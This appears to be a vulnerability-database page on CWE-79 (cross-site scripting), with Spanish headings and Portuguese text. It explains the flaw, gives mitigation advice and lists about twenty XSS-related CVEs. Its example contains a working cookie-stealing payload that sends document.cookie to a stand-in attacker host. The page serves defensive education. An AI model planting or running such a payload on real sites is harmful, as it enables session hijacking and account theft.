Fallos del tipo CWE-79

30.266 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-76324MEDIUMStored Cross-Site Scripting (XSS) in Splunk Web Tours in Splunk EnterpriseEPSS 0.3%CVE-2026-81731MEDIUMFrappe 15.11.0 through 16.32.0 Stored XSS via Workspace Link DescriptionEPSS 0.3%CVE-2026-34989CRITICALCI4MS affected by Profile & User Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2024-36994MEDIUMPersistent Cross-site Scripting (XSS) in Dashboard ElementsEPSS 0.3%CVE-2024-38493MEDIUMSymantec Privileged Access Manager Reflected Cross Site Scripting vulnerabilityEPSS 0.3%CVE-2025-11857MEDIUMXX2WP Integration Tools <= 1.9.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-103389MEDIUMMISP Stored Cross-Site Scripting via Unvalidated Galaxy Icon Field in Correlation GraphEPSS 0.3%CVE-2026-10618MEDIUMHugo 0.93.0 through 0.165.0 Stored Cross-Site Scripting via Unescaped Code-Fence Attribute ValuesEPSS 0.3%CVE-2024-47624HIGHWordPress BSK Forms Blacklist plugin <= 3.8.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-22444MEDIUMA vulnerability within the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow a remote attacker to conduct a reflEPSS 0.3%CVE-2026-109266MEDIUMImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 XML Injection via CIP EncoderEPSS 0.3%CVE-2026-96669HIGHFood Store <= 1.5.5 - Unauthenticated Stored Cross-Site Scripting via 'service_type' CookieEPSS 0.3%CVE-2026-3618MEDIUMColumns by BestWebSoft <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'columns' Shortcode 'id' AttributeEPSS 0.3%CVE-2026-50709MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Notifications Events color renderingEPSS 0.3%CVE-2024-6986MEDIUMCross-site Scripting (XSS) in parisneo/lollms-webuiEPSS 0.3%CVE-2026-6184MEDIUMcode-projects Simple Content Management System welcome.php cross site scriptingEPSS 0.3%CVE-2025-48234MEDIUMWordPress Ultimate Blocks plugin <= 3.3.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-69235MEDIUMstored cross site scripting issue in Esri Portal for ArcGISEPSS 0.3%CVE-2019-25317MEDIUMKimai 2- persistent cross-site scripting (XSS)EPSS 0.3%CVE-2024-1891LOWStored Cross Site ScriptingEPSS 0.3%